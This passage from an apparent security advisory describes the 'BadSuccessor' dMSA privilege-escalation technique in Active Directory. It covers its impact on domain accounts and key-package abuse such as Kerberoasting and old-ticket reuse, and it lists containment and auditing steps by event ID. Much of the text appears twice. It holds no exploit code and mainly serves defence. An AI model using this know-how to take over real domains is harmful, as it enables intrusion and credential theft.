Domain Administrator SIDPrivileged group memberships (Domain Admins, Enterprise Admins)Historical keys of the original user
Domain Administrator SID
Privileged group memberships (Domain Admins, Enterprise Admins)
Historical keys of the original user
Additional Attack Capabilities
In addition to privilege escalation, it was observed that the dMSA receives in its KERB-DMSA-KEY-PACKAGE the cryptographic keys of the replaced user, including previous passwords in formats such as RC4-HMAC. This makes it possible to:
Target password recovery.Use of old tickets issued with previous keys.Perform extended Kerberoasting attacks.
Target password recovery.
Use of old tickets issued with previous keys.
Perform extended Kerberoasting attacks.
Impact
This behavior can be exploited against any account on the domain, including:
Domain administrators
Domain Controllers
Protected Users
And no access to the target account is required. All you need is permission on a dMSA and the ability to write to its attributes.
Mitigation of BadSuccessor
Microsoft has acknowledged the problem but has not yet released a patch. Recommended mitigation includes:
Immediate containment
Restrict CreateChild permissions on OUs.
Audit permissions on msDS-DelegatedManagedServiceAccount and prevent non-privileged users from creating dMSAs.
Block or monitor the use of Start-ADServiceAccountMigration.
Restrict CreateChild permissions on OUs.
Audit permissions on msDS-DelegatedManagedServiceAccount and prevent non-privileged users from creating dMSAs.
Block or monitor the use of Start-ADServiceAccountMigration.
Auditing and detection
Audit dMSA Creation: Configure a SACL to Record the Creation of New msDS-DelegatedManagedServiceAccount Objects (Event ID 5137).
Monitor Attribute Modifications: Configure a SACL for Modifications to the msDS-ManagedAccountPrecededByLink Attribute (Event ID 5136).
dMSA authentication trace: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure, the domain controller logs the following event (Event ID 2946).
Audit dMSA Creation: Configure a SACL to Record the Creation of New msDS-DelegatedManagedServiceAccount Objects (Event ID 5137).
Monitor Attribute Modifications: Configure a SACL for Modifications to the msDS-ManagedAccountPrecededByLink Attribute (Event ID 5136).
dMSA authentication trace: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure, the domain controller logs the following event (Event ID 2946).